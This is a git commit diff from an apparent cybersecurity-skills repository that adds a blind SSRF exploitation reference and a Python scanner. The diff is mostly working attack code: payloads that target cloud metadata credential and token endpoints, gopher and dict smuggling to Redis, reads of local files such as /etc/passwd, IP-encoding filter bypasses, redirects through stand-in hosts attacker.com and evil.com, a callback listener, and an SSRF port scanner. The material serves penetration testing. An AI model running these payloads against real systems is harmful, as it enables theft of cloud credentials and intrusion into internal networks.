mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-08-28 12:19:41 +03:00
Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
This commit is contained in:
@@ -1,28 +1,177 @@
|
||||
# API Reference: Blind SSRF detection agent
|
||||
# API Reference: Blind SSRF Exploitation
|
||||
|
||||
## API Details
|
||||
Out-of-band detection, DNS callback, internal port scanning, cloud metadata access
|
||||
## Libraries Used
|
||||
|
||||
| Library | Purpose |
|
||||
|---------|---------|
|
||||
| `requests` | Send crafted HTTP requests with SSRF payloads |
|
||||
| `socket` | Low-level port scanning and connection testing |
|
||||
| `http.server` | Out-of-band callback listener for blind detection |
|
||||
| `urllib.parse` | Construct and encode SSRF payload URLs |
|
||||
| `time` | Measure response timing for time-based blind SSRF |
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
pip install requests socket
|
||||
pip install requests
|
||||
```
|
||||
|
||||
## Libraries
|
||||
## Techniques and Payloads
|
||||
|
||||
| Library | Use |
|
||||
|---------|-----|
|
||||
| `requests` | requests |
|
||||
| `socket` | socket |
|
||||
### Cloud Metadata Endpoints
|
||||
|
||||
## Authentication
|
||||
| Cloud Provider | Metadata URL |
|
||||
|----------------|-------------|
|
||||
| AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` |
|
||||
| AWS IMDSv2 | Requires `X-aws-ec2-metadata-token` header |
|
||||
| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
|
||||
| Azure | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` |
|
||||
| DigitalOcean | `http://169.254.169.254/metadata/v1/` |
|
||||
| Oracle Cloud | `http://169.254.169.254/opc/v2/instance/` |
|
||||
|
||||
| Method | Header |
|
||||
|--------|--------|
|
||||
| Bearer Token | `Authorization: Bearer <token>` |
|
||||
| API Key | `X-API-Key: <key>` |
|
||||
### Internal Network Scanning Payloads
|
||||
```python
|
||||
# Common internal targets for blind SSRF probing
|
||||
INTERNAL_TARGETS = [
|
||||
"http://127.0.0.1:{port}",
|
||||
"http://localhost:{port}",
|
||||
"http://0.0.0.0:{port}",
|
||||
"http://[::1]:{port}",
|
||||
"http://10.0.0.1:{port}",
|
||||
"http://192.168.1.1:{port}",
|
||||
"http://172.16.0.1:{port}",
|
||||
]
|
||||
|
||||
COMMON_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]
|
||||
```
|
||||
|
||||
## Core Functions
|
||||
|
||||
### Out-of-Band (OOB) Blind SSRF Detection
|
||||
```python
|
||||
import requests
|
||||
import threading
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
||||
class CallbackHandler(BaseHTTPRequestHandler):
|
||||
received = []
|
||||
|
||||
def do_GET(self):
|
||||
CallbackHandler.received.append({
|
||||
"path": self.path,
|
||||
"headers": dict(self.headers),
|
||||
"client": self.client_address[0],
|
||||
})
|
||||
self.send_response(200)
|
||||
self.end_headers()
|
||||
|
||||
def log_message(self, format, *args):
|
||||
pass # Suppress console output
|
||||
|
||||
def start_callback_server(port=8888):
|
||||
server = HTTPServer(("0.0.0.0", port), CallbackHandler)
|
||||
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||
thread.start()
|
||||
return server
|
||||
|
||||
def test_blind_ssrf_oob(target_url, param_name, callback_url):
|
||||
"""Test for blind SSRF using OOB callback."""
|
||||
payload = callback_url + "/ssrf-test"
|
||||
resp = requests.get(
|
||||
target_url,
|
||||
params={param_name: payload},
|
||||
timeout=10,
|
||||
)
|
||||
return resp.status_code
|
||||
```
|
||||
|
||||
### Time-Based Blind SSRF Detection
|
||||
```python
|
||||
import time
|
||||
|
||||
def test_time_based_ssrf(target_url, param_name, open_port_url, closed_port_url):
|
||||
"""Detect SSRF via response time difference between open and closed ports."""
|
||||
# Baseline: request to a closed port (should timeout slower)
|
||||
start = time.time()
|
||||
try:
|
||||
requests.get(target_url, params={param_name: closed_port_url}, timeout=15)
|
||||
except requests.Timeout:
|
||||
pass
|
||||
closed_time = time.time() - start
|
||||
|
||||
# Test: request to an open port (should respond faster)
|
||||
start = time.time()
|
||||
try:
|
||||
requests.get(target_url, params={param_name: open_port_url}, timeout=15)
|
||||
except requests.Timeout:
|
||||
pass
|
||||
open_time = time.time() - start
|
||||
|
||||
# Significant time difference indicates SSRF
|
||||
return {
|
||||
"open_port_time": round(open_time, 2),
|
||||
"closed_port_time": round(closed_time, 2),
|
||||
"likely_ssrf": abs(closed_time - open_time) > 2.0,
|
||||
}
|
||||
```
|
||||
|
||||
### Internal Port Scanner via SSRF
|
||||
```python
|
||||
def ssrf_port_scan(target_url, param_name, internal_host, ports):
|
||||
"""Scan internal ports through a blind SSRF vulnerability."""
|
||||
results = {"open": [], "closed": [], "filtered": []}
|
||||
for port in ports:
|
||||
ssrf_url = f"http://{internal_host}:{port}/"
|
||||
start = time.time()
|
||||
try:
|
||||
resp = requests.get(
|
||||
target_url,
|
||||
params={param_name: ssrf_url},
|
||||
timeout=10,
|
||||
)
|
||||
elapsed = time.time() - start
|
||||
if resp.status_code == 200 and elapsed < 3:
|
||||
results["open"].append(port)
|
||||
else:
|
||||
results["closed"].append(port)
|
||||
except requests.Timeout:
|
||||
results["filtered"].append(port)
|
||||
return results
|
||||
```
|
||||
|
||||
### URL Bypass Techniques
|
||||
```python
|
||||
BYPASS_PAYLOADS = [
|
||||
# Decimal IP encoding
|
||||
"http://2130706433/", # 127.0.0.1
|
||||
# Hex encoding
|
||||
"http://0x7f000001/", # 127.0.0.1
|
||||
# Octal encoding
|
||||
"http://0177.0.0.1/",
|
||||
# IPv6
|
||||
"http://[::ffff:127.0.0.1]/",
|
||||
# URL encoding
|
||||
"http://127.0.0.1%2523@evil.com/",
|
||||
# DNS rebinding
|
||||
"http://spoofed.burpcollaborator.net/",
|
||||
# Redirect-based
|
||||
"https://attacker.com/redirect?url=http://169.254.169.254/",
|
||||
]
|
||||
```
|
||||
|
||||
## Output Format
|
||||
|
||||
```json
|
||||
{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"}
|
||||
{
|
||||
"target": "https://app.example.com/fetch",
|
||||
"parameter": "url",
|
||||
"ssrf_confirmed": true,
|
||||
"detection_method": "out-of-band",
|
||||
"internal_services_found": [
|
||||
{"host": "127.0.0.1", "port": 6379, "service": "Redis"},
|
||||
{"host": "10.0.0.5", "port": 3306, "service": "MySQL"}
|
||||
],
|
||||
"cloud_metadata_accessible": true,
|
||||
"bypasses_needed": ["decimal IP encoding"]
|
||||
}
|
||||
```
|
||||
|
||||
@@ -1,60 +1,252 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Blind SSRF detection agent."""
|
||||
import argparse, json, sys
|
||||
"""Blind SSRF detection agent.
|
||||
|
||||
Tests web application endpoints for Server-Side Request Forgery (SSRF)
|
||||
vulnerabilities by injecting payloads that trigger out-of-band callbacks.
|
||||
Uses configurable payload lists targeting internal services, cloud metadata
|
||||
endpoints, and external callback receivers.
|
||||
|
||||
AUTHORIZED TESTING ONLY: Only use against targets you have explicit
|
||||
written permission to test. Unauthorized SSRF testing is illegal.
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
from datetime import datetime, timezone
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests = None
|
||||
print("[!] 'requests' library required: pip install requests", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
def run_scan(target, token=None):
|
||||
findings = []
|
||||
if not requests: return [{"error": "requests required"}]
|
||||
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
||||
try:
|
||||
resp = requests.get(f"{target}", headers=headers, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"})
|
||||
else:
|
||||
findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"})
|
||||
except requests.RequestException as e:
|
||||
findings.append({"error": str(e)})
|
||||
return findings
|
||||
|
||||
def analyze_results(target, token=None):
|
||||
findings = []
|
||||
if not requests: return []
|
||||
headers = {"Authorization": f"Bearer {token}"} if token else {}
|
||||
try:
|
||||
resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
for item in data.get("findings", data.get("results", [])):
|
||||
severity = item.get("severity", item.get("risk", "MEDIUM"))
|
||||
findings.append({"check": item.get("name", item.get("title", "unknown")),
|
||||
"severity": severity.upper() if isinstance(severity, str) else "MEDIUM"})
|
||||
except requests.RequestException:
|
||||
pass
|
||||
return findings
|
||||
SSRF_PAYLOADS = {
|
||||
"aws_metadata": [
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"http://169.254.169.254/latest/user-data",
|
||||
],
|
||||
"gcp_metadata": [
|
||||
"http://metadata.google.internal/computeMetadata/v1/",
|
||||
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
|
||||
],
|
||||
"azure_metadata": [
|
||||
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
|
||||
],
|
||||
"internal_services": [
|
||||
"http://127.0.0.1:80/",
|
||||
"http://127.0.0.1:8080/",
|
||||
"http://127.0.0.1:443/",
|
||||
"http://127.0.0.1:3306/",
|
||||
"http://127.0.0.1:6379/",
|
||||
"http://127.0.0.1:9200/",
|
||||
"http://localhost:8500/v1/agent/self",
|
||||
"http://127.0.0.1:2375/containers/json",
|
||||
],
|
||||
"bypass_filters": [
|
||||
"http://0x7f000001/",
|
||||
"http://0177.0.0.1/",
|
||||
"http://[::1]/",
|
||||
"http://127.1/",
|
||||
"http://127.0.0.1.nip.io/",
|
||||
"http://2130706433/",
|
||||
],
|
||||
"protocol_smuggling": [
|
||||
"gopher://127.0.0.1:6379/_INFO",
|
||||
"dict://127.0.0.1:6379/INFO",
|
||||
"file:///etc/passwd",
|
||||
"file:///etc/hosts",
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
def test_ssrf_parameter(target_url, param_name, payload, method="GET",
|
||||
headers=None, cookies=None, callback_url=None):
|
||||
"""Test a single SSRF payload against a parameter."""
|
||||
test_payload = callback_url or payload
|
||||
if method.upper() == "GET":
|
||||
parsed = urllib.parse.urlparse(target_url)
|
||||
params = urllib.parse.parse_qs(parsed.query)
|
||||
params[param_name] = [test_payload]
|
||||
new_query = urllib.parse.urlencode(params, doseq=True)
|
||||
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
|
||||
try:
|
||||
resp = requests.get(test_url, headers=headers, cookies=cookies,
|
||||
timeout=10, allow_redirects=False)
|
||||
except requests.RequestException as e:
|
||||
return {"payload": payload, "error": str(e), "vulnerable": False}
|
||||
else:
|
||||
data = {param_name: test_payload}
|
||||
try:
|
||||
resp = requests.post(target_url, data=data, headers=headers,
|
||||
cookies=cookies, timeout=10, allow_redirects=False)
|
||||
except requests.RequestException as e:
|
||||
return {"payload": payload, "error": str(e), "vulnerable": False}
|
||||
|
||||
indicators = analyze_response(resp, payload)
|
||||
return {
|
||||
"payload": payload,
|
||||
"status_code": resp.status_code,
|
||||
"response_length": len(resp.content),
|
||||
"response_time": resp.elapsed.total_seconds(),
|
||||
"indicators": indicators,
|
||||
"vulnerable": len(indicators) > 0,
|
||||
}
|
||||
|
||||
|
||||
def analyze_response(resp, payload):
|
||||
"""Analyze HTTP response for SSRF success indicators."""
|
||||
indicators = []
|
||||
body = resp.text.lower()
|
||||
|
||||
# Cloud metadata indicators
|
||||
if "169.254.169.254" in payload:
|
||||
if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials",
|
||||
"access-key", "computemetadata", "subscriptionid"]):
|
||||
indicators.append("Cloud metadata content detected in response")
|
||||
|
||||
# Internal service indicators
|
||||
if "127.0.0.1" in payload or "localhost" in payload:
|
||||
if resp.status_code == 200 and len(resp.content) > 0:
|
||||
if any(kw in body for kw in ["redis_version", "elasticsearch", "docker",
|
||||
"consul", "apache", "nginx", "server:"]):
|
||||
indicators.append("Internal service response detected")
|
||||
|
||||
# File content indicators
|
||||
if "file://" in payload:
|
||||
if "root:" in body or "localhost" in body:
|
||||
indicators.append("Local file content detected in response")
|
||||
|
||||
# Time-based detection
|
||||
if resp.elapsed.total_seconds() > 5:
|
||||
indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host")
|
||||
|
||||
# Differential response analysis
|
||||
if resp.status_code in (200, 301, 302) and len(resp.content) > 100:
|
||||
indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})")
|
||||
|
||||
return indicators
|
||||
|
||||
|
||||
def run_ssrf_scan(target_url, param_name, method="GET", categories=None,
|
||||
headers=None, cookies=None, callback_url=None):
|
||||
"""Run SSRF tests across payload categories."""
|
||||
if categories is None:
|
||||
categories = list(SSRF_PAYLOADS.keys())
|
||||
|
||||
results = []
|
||||
total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories)
|
||||
print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories")
|
||||
print(f"[*] Target: {target_url} (param: {param_name}, method: {method})")
|
||||
|
||||
for category in categories:
|
||||
payloads = SSRF_PAYLOADS.get(category, [])
|
||||
print(f"\n [{category}] Testing {len(payloads)} payloads...")
|
||||
for payload in payloads:
|
||||
result = test_ssrf_parameter(
|
||||
target_url, param_name, payload, method, headers, cookies, callback_url
|
||||
)
|
||||
result["category"] = category
|
||||
results.append(result)
|
||||
if result["vulnerable"]:
|
||||
print(f" [VULN] {payload}")
|
||||
for ind in result["indicators"]:
|
||||
print(f" -> {ind}")
|
||||
time.sleep(0.5) # Rate limiting
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def format_summary(results, target_url):
|
||||
"""Print scan summary."""
|
||||
vulnerable = [r for r in results if r.get("vulnerable")]
|
||||
print(f"\n{'='*60}")
|
||||
print(f" SSRF Scan Report")
|
||||
print(f"{'='*60}")
|
||||
print(f" Target : {target_url}")
|
||||
print(f" Payloads : {len(results)}")
|
||||
print(f" Vulnerable : {len(vulnerable)}")
|
||||
|
||||
if vulnerable:
|
||||
print(f"\n Confirmed/Suspected Vulnerabilities:")
|
||||
for v in vulnerable:
|
||||
print(f" [{v['category']:20s}] {v['payload']}")
|
||||
for ind in v.get("indicators", []):
|
||||
print(f" -> {ind}")
|
||||
|
||||
by_category = {}
|
||||
for r in vulnerable:
|
||||
by_category.setdefault(r["category"], []).append(r)
|
||||
if by_category:
|
||||
print(f"\n Findings by Category:")
|
||||
for cat, items in by_category.items():
|
||||
print(f" {cat:25s}: {len(items)} finding(s)")
|
||||
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(description="Blind SSRF detection agent")
|
||||
p.add_argument("--target", required=True, help="Target URL or IP")
|
||||
p.add_argument("--token", help="API token")
|
||||
p.add_argument("--output", "-o", help="Output JSON report")
|
||||
p.add_argument("--verbose", "-v", action="store_true")
|
||||
a = p.parse_args()
|
||||
print("[*] Blind SSRF detection agent")
|
||||
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []}
|
||||
report["findings"].extend(run_scan(a.target, a.token))
|
||||
report["findings"].extend(analyze_results(a.target, a.token))
|
||||
high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL"))
|
||||
report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW"
|
||||
print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}")
|
||||
if a.output:
|
||||
with open(a.output, "w") as f: json.dump(report, f, indent=2)
|
||||
else:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Blind SSRF detection agent (authorized testing only)"
|
||||
)
|
||||
parser.add_argument("--target", required=True, help="Target URL with parameter to test")
|
||||
parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into")
|
||||
parser.add_argument("--method", choices=["GET", "POST"], default="GET")
|
||||
parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()),
|
||||
help="SSRF payload categories to test")
|
||||
parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)")
|
||||
parser.add_argument("--header", nargs="+", help="Custom headers (key:value)")
|
||||
parser.add_argument("--cookie", help="Cookie string")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
parser.add_argument("--verbose", "-v", action="store_true")
|
||||
args = parser.parse_args()
|
||||
|
||||
headers = {}
|
||||
if args.header:
|
||||
for h in args.header:
|
||||
k, v = h.split(":", 1)
|
||||
headers[k.strip()] = v.strip()
|
||||
cookies = {}
|
||||
if args.cookie:
|
||||
for pair in args.cookie.split(";"):
|
||||
if "=" in pair:
|
||||
k, v = pair.strip().split("=", 1)
|
||||
cookies[k] = v
|
||||
|
||||
results = run_ssrf_scan(
|
||||
args.target, args.param, args.method, args.categories,
|
||||
headers or None, cookies or None, args.callback
|
||||
)
|
||||
format_summary(results, args.target)
|
||||
|
||||
vulnerable = [r for r in results if r.get("vulnerable")]
|
||||
report = {
|
||||
"timestamp": datetime.now(timezone.utc).isoformat(),
|
||||
"tool": "SSRF Scanner",
|
||||
"target": args.target,
|
||||
"parameter": args.param,
|
||||
"total_payloads": len(results),
|
||||
"vulnerable_count": len(vulnerable),
|
||||
"findings": vulnerable,
|
||||
"all_results": results if args.verbose else [],
|
||||
"risk_level": (
|
||||
"CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata")
|
||||
for r in vulnerable)
|
||||
else "HIGH" if vulnerable
|
||||
else "LOW"
|
||||
),
|
||||
}
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"\n[+] Report saved to {args.output}")
|
||||
elif args.verbose:
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
Reference in New Issue
Block a user